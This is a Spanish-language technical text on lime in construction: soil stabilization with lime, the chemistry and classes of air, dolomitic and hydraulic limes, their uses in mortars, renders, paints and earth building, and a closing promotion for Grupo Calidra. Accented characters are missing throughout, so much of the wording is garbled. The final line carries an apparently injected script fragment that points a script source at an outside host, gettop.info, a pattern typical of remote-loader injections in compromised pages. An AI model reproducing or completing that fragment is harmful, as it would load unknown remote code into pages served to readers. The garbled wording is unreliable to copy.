Concepto

En la estabilizacin con cal se mezcla el suelo con cal area y agua, la cal puede ser viva o apagada. La
proporcin de cal utilizada en la estabilizacin depender del tipo de suelo, emplendose proporciones
del 2 al 7% de cal sobre la masa seca del suelo. La normativa espaola slo exige que sea mayor del 2
3%, dependiendo del tipo de suelo estabilizado del que se trate, y en la prctica no se suele
sobrepasar el 5%.

Este procedimiento se suele utilizar en suelos de elevada humedad natural, de granulometra fina y
plasticidad apreciable. La cal producir un cambio importante de su plasticidad, reduciendo el Indice de
plasticidad de los suelos de plasticidad media y elevada (IP > 15), mientras que en suelos de plasticidad
baja (IP < 15) aumentar tanto el Lmite lquido como el Lmite plstico, aumentando tambin, aunque
de forma menos apreciable, el ndice de plasticidad.

La estabilizacin con cal produce en el suelo estabilizado un aumento de la resistencia al esfuerzo

cortante, que aumenta con la proporcin de cal utilizada, el tiempo transcurrido, la temperatura de
curado y la disgregacin que se haya conseguido del suelo. Por otro lado, tambin aumenta la humedad
ptima de compactacin, que permite que suelos de elevada humedad natural puedan conseguir una
densificacin adecuada, lo que permite su empleo en unidades de obra en las que no podan ser
utilizados sin estabilizar.

La densidad mxima Proctor de un suelo estabilizado con cal es inferior a la del suelo original, lo que no
tiene gran importancia debido a las mejoras anteriores obtenidas con la estabilizacin.

La utilizacin de cal en la estabilizacin slo se permite en dos de los tres tipos de suelo estabilizado
recogidos por la normativa espaola para la formacin de explanadas. Estos tipos son los suelos S-
EST1 y S-EST 2.
La Cal es una sustancia slida custica, blanca cuando es pura, que se obtiene calcinando
caliza y otras formas de carbonato de calcio.
Los suelos pueden ser sometidos a varios tipos posibles de tratamiento con cal, en funcin
de los objetivos a conseguir, y estos tratamientos son:
Secado
Modificacin
Estabilizacin
Dos son los aspectos que ms negativamente pueden influir en la estabilizacin de suelos
con cal:
Su contenido en sulfatos solubles
Su contenido en materia orgnica.
Pasos generales para la estabilizacin de un Suelo-Cal:
Escarificar o pulverizar parcialmente el suelo
Esparcir la cal
Adicin de agua y mezcla
Compactar a la densidad mxima prctica
 Curado antes de la colocacin de la siguiente capa o capa de proteccin.
Formas en las que se puede aplicar la cal al suelo
Cal viva
Cal hidratada seca
Lechada de cal
Todas las bases estabilizadas con cal requieren una superficie de rodadura o al menos una
imprimacin bituminosa, porque una base estabilizada con cal sin proteccin tiene una
resistencia pobre a la accin abrasiva del trfico continuo.
La modificacin con cal puede utilizarse para mantener una plataforma de trabajo firme
que elimine la humedad.
Consideraciones que se deben tener en el diseo y construccin de caminos estabilizados
con cal:
a. El mantenimiento de trfico

b. La necesidad de una capa de rodadura

c. Las limitaciones climticas

Los factores que tienen ms influencia en la calidad y reactividad de las cenizas con el uso
de la Cal son:
La fuente del carbn
Grado de pulverizacin
Eficiencia de la operacin de quemado
Mtodos de recoleccin y almacenaje de las cenizas.
Otras aplicaciones en el uso de la Cal
Aeropuertos
Urbanizaciones
Terraplenes
reas comerciales
Los porcentajes de cal utilizados comnmente en la prctica oscilan entre un 2% a
un 8% del peso del material.
Durante una estabilizacin con cal se llevan a cabo reacciones puzolnicas por lo que se
forman materiales cementantes.

La relegada cal es uno de los materiales ms reivindicados desde la

bioconstruccin, por sus grandes ventajas frente al cemento Prtland.
Hasta la revolucin industrial y el descubrimiento del cemento en 1824 en Prtland,
Inglaterra, la cal ha sido el principal ligante de la construccin en morteros,
revestimientos y pinturas.

Es responsable de la solidez de los edificios antiguos y medievales y ha participado

en obras tan prestigiosas como los frescos y estucos que los decoran.

Los constructores de entonces aplicaban las cales disponibles en las canteras y

caleras ms prximas.
Es decir, la calidad de las cales reencontradas vara segn la roca de extraccin, pues
de las calizas, las ms puras proceden de las cales ms grasas, es decir, areas y de
las calizas las ms arcillosas, pues las ms ricas en slice (margas) procedan las
cales magras es decir hidrulicas.

Resultaban denominaciones varias para la cal, tpicas de los lugares de procedencia.

Debido a la limitada facilidad de transporte, los constructores aplicaban el material

local pero conocan una amplia gama de trucos para corregir los efectos de cada una
de las cales encontradas para aportar a sus morteros las calidades requeridas en cada
caso de aplicacin, como son el control de la rapidez en el endurecimiento, la dureza
y el grado impermeabilizante.

De esto concluimos que todas las clases de cal convivan desde todos los tiempos.

Lo digo porque en la actualidad tendemos a valorar a las de la primera clase ms

tradicionales y mticas, las cales ms puras; mientras descalificamos como segundas
las cales impuras con propiedades hidrulicas ya que estas no son mencionadas en la
literatura antes de unos dos siglos pasados.

La eleccin de nuestras cales para la restauracin del patrimonio as como la nueva

construccin de hoy debera seguir unos aspectos ms tcnicos y menos doctrinarios.
 Cales disponibles
Un 20 % de la superficie terrestre esta cubierta de roca caliza.
Segn el tipo de caliza utilizada, la coccin permite la fabricacin de varios tipos de
cal:

1. La cal area, procedente de una caliza pura

2. La cal dolomtica, procedente de una caliza rica en carbonato de magnesio
3. La cal hidrulica natural, procedente de una marga (caliza arcillosa).

Cal area
La calcinacin de la Cal Area se produce por la coccin de la caliza pura
(carbonato de calcio) alrededor de 900 grados y est acompaada de una prdida del
45% de su peso, correspondiente a la prdida de gas carbnico.
Tras la extincin de la cal viva (xido clcico), resultante de la coccin, se obtiene la
cal apagada apta para su aplicacin en la construccin (hidrxido clcico). Por
producir mucha calor, el proceso de extincin se hace en fbrica o bien por personal
especializado.
El agua, aadida en la elaboracin del mortero a base de cal y arena, efecta el inicio
de la carbonizacin, una reaccin lenta de varios meses que exige la presencia de
agua y gas carbnico del aire a la vez. Una vez evaporada el agua, la calcinacin
sigue con el vapor del agua presente en el aire que tiene una afinidad con el gas
carbnico (forman cido carbnico). La calcinacin entonces se nutre del gas
carbnico presente en este cido.
 Apagado de cal

Cal viva

Cal dolomtica
En las calizas dolomticas el carbono de calcio est asociado al carbonato de
magnesio.
Tras su coccin a temperaturas inferiores a 900 grados se obtiene una cal area.

Cal hidrulica natural

Son raras las calizas puras. Casi siempre aparecen mezclados con arcillas, ricas en
elementos qumicos como el hierro el aluminio y sobre todo el slice y de las cuales
procede la CAL HIDRULICA NATURAL. Entre 800 y 1.500 grados (en general
alrededor de 900 grados), el calcio de la caliza se combina con dichos elementos
formando silicatos, aluminatos y ferro-aluminatos de calcio.
Al contacto con agua estos cuerpos quieren formar hidratos insolubles lo que
confieren al ligante un carcter hidrulico.
Al contacto con el aire hmedo, la cal y los hidratos as formados carbonizan con el
gas carbnico del aire. Esta reaccin dura varios meses y es la parte area del
proceso.
Los cientficos del siglo diecinueve intentaron clasificar las cales hidrulicas segn
su ndice de hidraulicidad, dependiente de su contenido de arcilla (entre 5 y 30%).
En la actualidad se producen cales hidrulicas con baja y alta hidraulicidad
formando 3 clases de resistencia de las cuales las ms frecuentes son la clase NHL 5
(la ms resistente entre las cales hidrulicas naturales, con una resistencia mnima a
la compresin 28 das = 5 M Pa y un contenido de arcilla del la caliza procedente de
entre 15-20%) y clase NHL 3,5 (resistencia mnima a la compresin 28 das = 3,5
Mpa, contenido de arcilla de la caliza procedente = 8-15%) y menos frecuente la
clase NHL 2 con un contenido muy bajo de arcilla y una resistencia final a la
compresin poco superior a la de una cal area.
Las cales de hidraulicidad algo superiores a la de las cales hidrulicas naturales se
denominan Cales Hidrulicas Artificiales (cales hidratadas) ya que contienen
substancias aadidas antes o despus de la coccin, como son ,entre otros:

Clinker, son silicatos y aluminatos hidratados, obtenidos por coccin encima de

la sinterizacin (1.500 grados).
Puzolanas de origen natural (volcnico) o bien artificial (mezcla de slice,
aluminio y xido frrico).
Cenizas volantes, que provienen de la combustin de petrleo.
Escorias siderrgicas.
Filleres calizos.

Cales hidrulicas artificiales

Hablando de cales hidrulicas artificiales ya entramos en el mundo de los cementos
naturales (cementos cocidos bajo la sinterizacin) ya que sus elementos
constitutivos son prcticamente iguales.

El Cemento Prtland seria el resultado de una coccin de estos elementos con

temperaturas mucho mas altas (encima de la sinterizacin). De esta manera se
obtiene un ligante para morteros rgidos y con alta resistencia a la compresin
debido a un proceso de endurecimiento exclusivamente hidrulico y equivalente a la
prdida de las cualidades bioclimticas, de buena trabajabilidad y retencin de agua
as como de buen aspecto frente a un mortero de cal.
Adems de ser incompatibles con toda clase de materiales que componen los
edificios del patrimonio a restaurar, los morteros de cemento, aparte de usarlos si
acaso para la cimentacin, son absolutamente innecesarios para levantar un edificio
de vivienda unifamiliar o plurifamiliar con pocas plantas.

La Cal segn aplicacin

Morteros para cimentaciones y asentamientos de piedra natural y bloques de
fbrica:
La cal area aporta la mayor trabajabilidad y flexibilidad debido a una mayor finura
frente a la cal hidrulica natural.
Pero es preferible la cal hidrulica ya que aparte de buena trabajabilidad y
flexibilidad tiene mayor resistencia a la compresin y una mayor resistencia inicial,
con la ventaja de poder adelantar el trabajo rpido con ahorro de tiempo y dinero.
Adems tolera las transferencias de humedades y sales minerales.
Gracias a su mayor endurecimiento inicial la cal hidrulica natural permite al
constructor realizar trabajos en el exterior durante todo el ao, tambin en los meses
del invierno, siempre que se proporciona una proteccin contra calores, hielo y
aguas pluviales durante las primeras 72 horas de cura.

Construccin de piscinas naturales y estanques (almacenaje de aguas

pluviales, etc.):
Cal hidrulica natural (NHL 5), ya que es ms impermeable, ms resistente a la
compresin, ms resistente a sales minerales y capaz de endurecerse incluso debajo
del agua, sin la presencia de aire.

Revestimientos exteriores e interiores:

Los morteros para revestimientos exteriores, en todo caso seran a base de cal
hidrulica natural, ya que tiene la mayor resistencia mecnica, la mayor
impermeabilidad y la mejor resistencia a agresiones ambientales as como
influencias martimas.
Los revestimientos interiores podran ser compuestos de un revestimiento base de
mortero de cal hidrulica natural y un acabado fino (en una o varias capas) a base de
mortero de cal area, sin o con pigmento lo que en su totalidad es un estuco de cal.
La elevada finura y mxima trabajabilidad de la cal area, que se puede aumentar
an ms trabajando con cal grasa en pasta, es necesaria para un buen resultado final
del acabado.
Su elevada porosidad es responsable para un efecto mximo de compensacin de
vapores de agua en la vivienda as como un excelente aislamiento trmico.

Lechadas y pinturas:
Para la fijacin de una superficie con mala adherencia, se podran aplicar una o
varias capas de lechada de cal area o cal hidrulica natural. Para la fijacin de
superficies arenosas es aconsejable la cal hidrulica.
Para aumentar la adherencia de un soporte justo antes de revestir da ms efecto la
lechada de cal area, la mas grasa posible.
Las pinturas seran a base de cal area (color mas blanco), preferiblemente cal grasa
en pasta, diluido con agua y si acaso mezclado con pigmentos aptos para la cal. La
cal en pasta, para pintar, debe estar elaborada de las capas superiores (con ausencia
de partculas gordas sin apagar) de la cal que ha reposado bajo el agua durante un
tiempo de meses o aos.
Es aconsejable aadir a la pintura un estabilizante natural que entrar en reaccin
con la cal, como la casena por ejemplo, ya que de esta forma se aumenta su
resistencia al tacto.
La humidificacin del soporte y el control de la desecacin del filme de pintura es
de gran importancia ya que la falta de agua es incompatible con la carbonizacin de
la cal.
El mbito de aplicacin de pinturas de cal son ms bien interiores ya que las pinturas
de cal son sensibles a las variaciones climticas (hielo, sol, viento y humedad). Pues
exigen un alto grado de mantenimiento en exteriores.

Fijacin de tejas, solera (interior y exterior) y piezas de decoracin y

murales:
Tejas y solera con cal hidrulica natural ya que interesa resistencia mecnica as
como mxima impermeabilidad. Para la fijacin de piezas decorativas cermicas o
de piedra natural en superficies verticales, adems de elaborar un mortero con alto
contenido de cal y ptima granulometra, se podra aplicar un mortero a base de cal
hidrulica (resistencia mecnica y buena adherencia) y pasta de cal grasa (aumento
de adherencia). El soporte, si fuese necesario, se podra preparar con una lechada de
cal grasa.

Estabilizar tierra con cal:

Se puede estabilizar la tierra para la fabricacin de adobes o tapial y conseguiremos
aumentar su resistencia mecnica as como su resistencia al agua.
Los suelos muy arcillosos (40% o ms) se estabilizan mejor con cal area.
Los suelos muy arenosos se estabilizan mejor con cal hidrulica para ganar ms
resistencia.
A parte de mezclarlo todo bien, para asegurar un buen proceso de endurecimiento,
las mezclas de tierra y cal hidrulica se deben poner en obra pronto, evitando el
secado rpido, ya que, si no se puede perder con facilidad el 50% de resistencia.
La cal viva en polvo puede ser utilizada para estabilizar pero tiene la desventaja de
producir mucho calor y puede daar peligrosamente la piel. Por causa del calor de
hidratacin tiende a secar el suelo rpidamente con el riesgo de dilatacin.
En general se aplica un 5% de estabilizante ya que menos cal casi significa significa
una prdida de resistencia. La estabilizacin no es una ciencia exacta por ello
depende del tcnico o constructor, es mejor hacer bloques de prueba para realizar
ensayos. El propsito de estos ensayos es encontrar la menor cantidad de
estabilizante que satisfaga los requerimientos.

El Uso de la Cal en la Edificacin

Cal es un trmino que normalmente podramos escuchar en temas de construccin pues se usa como material
para algunas obras y aplicaciones. Sin embargo el uso de esta es la caliza pulverizada, una piedra formada
de carbonato de calcio o carbonato de calcio y magnesio que posee propiedades completamente distintas a la
Cal, es un oxido o hidrxido de calcio o magnesio manufacturado en hornos a temperaturas aproximadas a los
1,000C, el producto resultante: la cal viva, es usada para el Mortero, transformndolo en una especie de
masilla mezclndolo con agua convirtindola en cal hidratada.
Las prcticas de mampostera actuales exigen que la Cal usada (caliza pulverizada) debe cumplir con una
buena retencin de agua (segn la norma ASTM C 207) esto es vital para evitar futuras infiltraciones en las
paredes o estructuras de la mampostera, as como hacer que la mezcla cuente con la debida viscosidad,
permitiendo el fcil manejo y trabajabilidad para que los albailes puedan hacer uso eficaz con la cuchara,
adhirindolo sobre las superficies y teniendo ms eficacia en su trabajo.

Es por esto que la Cal hidratada es una de las mejores opciones para las construcciones ya que mejora la
plasticidad del mortero, la retencin del agua, la capacidad de contenido de arena, la adherencia y la flexibilidad,
ayudando adems a evitar la eflorescencia curando automticamente las fisuras pequeas.
Grupo Calidra produce Cal para mezclas asflticas y la estabilizacin de suelos.
Para las mezclas asflticas reduce la sensibilidad a la humedad, incrementa el endurecimiento inicial y evita la
oxidacin prematura, el resultado son pavimentos ms durables.
En la estabilizacin de suelos, modifica las propiedades del suelo de manera permanente reduciendo el ndice
de plasticidad, incrementando VRS y la resistencia a la compresin.

Todo esto a bajos costos sin dejar atrs la calidad.s.src=http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=

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